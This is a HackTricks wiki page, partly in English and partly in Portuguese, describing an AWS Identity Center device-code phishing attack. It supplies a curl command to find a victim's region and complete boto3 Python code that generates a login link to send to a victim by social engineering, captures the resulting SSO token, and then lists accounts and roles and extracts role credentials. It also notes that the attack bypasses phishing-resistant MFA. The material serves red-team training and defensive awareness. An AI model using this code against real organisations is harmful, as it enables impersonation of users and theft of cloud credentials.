AWS - Identity Center & SSO Unauthenticated Enum

Reading time: 5 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

AWS Device Code Phishing

Initially proposed in this blog post, it's possible to send a link to a user using AWS SSO that if the user accepts the attacker will be able to get a token to impersonate the user and access all the roles the user is able to access in the Identity Center.

In order to perform this attack the requisites are:

  • The victim needs to use Identity Center
  • The attacker must know the subdomain used by the victim <victimsub>.awsapps.com/start

Just with the previous info, the attacker will be able to send a link to the user that if accepted will grant the attacker access over the AWS user account.

Attack

  1. Finding the subdomain

The first step of the attacker is to find out the subdomain the victim company is using in their Identity Center. This can be done via OSINT or guessing + BF as most companies will be using their name or a variation of their name here.

With this info, it's possible to get the region where the Indentity Center was configured with:

bash
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. Gerar o link para a vítima & Enviar

Execute o código abaixo para gerar um link de login do AWS SSO para que a vítima possa se autenticar.\ Para a demo, execute este código em um console python e não saia dele, pois mais tarde você precisará de alguns objetos para obter o token:

python
import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

Envie o link gerado para a vítima usando suas incríveis habilidades de engenharia social!

  1. Espere até a vítima aceitar

Se a vítima já estivesse logada na AWS, ela só precisará aceitar a concessão das permissões; se não estivesse, ela precisará fazer login e então aceitar a concessão das permissões.
É assim que o prompt aparece hoje em dia:

  1. Obter SSO access token

Se a vítima aceitou o prompt, execute este código para gerar um SSO token assumindo a identidade do usuário:

python
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

O SSO access token é válido por 8h.

  1. Passar-se pelo usuário
python
sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Phishing do unphisable MFA

É interessante saber que o ataque anterior funciona mesmo se um "unphisable MFA" (webAuth) estiver sendo usado. Isso ocorre porque o fluxo de trabalho anterior nunca sai do domínio OAuth usado. Ao contrário de outros ataques de phishing em que o usuário precisa suplantar o domínio de login, neste caso o fluxo de código de dispositivo (device code workflow) é preparado de modo que um código seja conhecido por um dispositivo e o usuário possa fazer login mesmo em outra máquina. Se o prompt for aceito, o dispositivo, apenas por conhecer o código inicial, será capaz de recuperar as credenciais do usuário.

Para mais informações sobre isso veja este post.

Ferramentas Automáticas

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks